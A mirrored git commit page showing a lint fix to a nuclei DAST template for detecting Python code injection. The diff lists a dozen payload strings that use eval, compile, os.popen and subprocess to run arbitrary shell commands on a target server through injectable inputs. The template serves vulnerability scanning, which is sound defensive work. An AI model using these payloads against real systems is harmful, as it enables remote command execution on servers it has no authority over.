admin/nuclei-templates
1
0
Fork 0
mirror of https://github.com/projectdiscovery/nuclei-templates.git synced 2026-02-08 11:43:17 +08:00
Code Issues Packages Projects Releases Wiki Activity

lint fix

Browse Source
This commit is contained in:
ritikchaddha
2025-01-29 20:22:02 +05:30
parent 56cb14e212
commit 6cc51401d7
2 changed files with 7 additions and 9 deletions
Download Patch File Download Diff File Expand all files Collapse all files

14
dast/vulnerabilities/cmdi/python-code-injection.yaml
View File

@@ -4,8 +4,6 @@ info:
name: Python Code Injection
author: ritikchaddha
severity: high
metadata:
max-request:
tags: python,dast,injection,cmdi
variables:
@@ -20,18 +18,18 @@ http:
payloads:
injection:
- eval(compile("""for x in range(1):\\n import os\\n os.popen(r'{{Command}}').read()""",'','single'))
#without loop, one expression
# without loop, one expression
- eval(compile("""__import__('os').popen(r'{{Command}}').read()""",'','single'))
#without loop, one expression
# without loop, one expression
- eval(compile("""__import__('subprocess').check_output(r'{{Command}}',shell=True)""",'','single'))
#without compile
# without compile
- __import__('os').popen('{{Command}}').read()
#multiple expressions, separated by commas
# multiple expressions, separated by commas
- str("-"*50),__import__('os').popen('{{Command}}').read()
#multiple statements, separated by semicolons
# multiple statements, separated by semicolons
- eval(compile("""__import__('os').popen(r'{{Command}}').read();import time;time.sleep(2)""",'','single'))
- eval(compile("""__import__('subprocess').check_output(r'{{Command}}',shell=True);import time;time.sleep(2)""",'','single'))
#with `for` loop technique, without global __import__ using subprocess.popen
# with `for` loop technique, without global __import__ using subprocess.popen
- eval(compile("""for x in range(1):\n import os\n os.popen(r'{{Command}}').read()""",'','single'))
- eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'{{Command}}',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))
- eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'{{Command}}',shell=True)""",'','single'))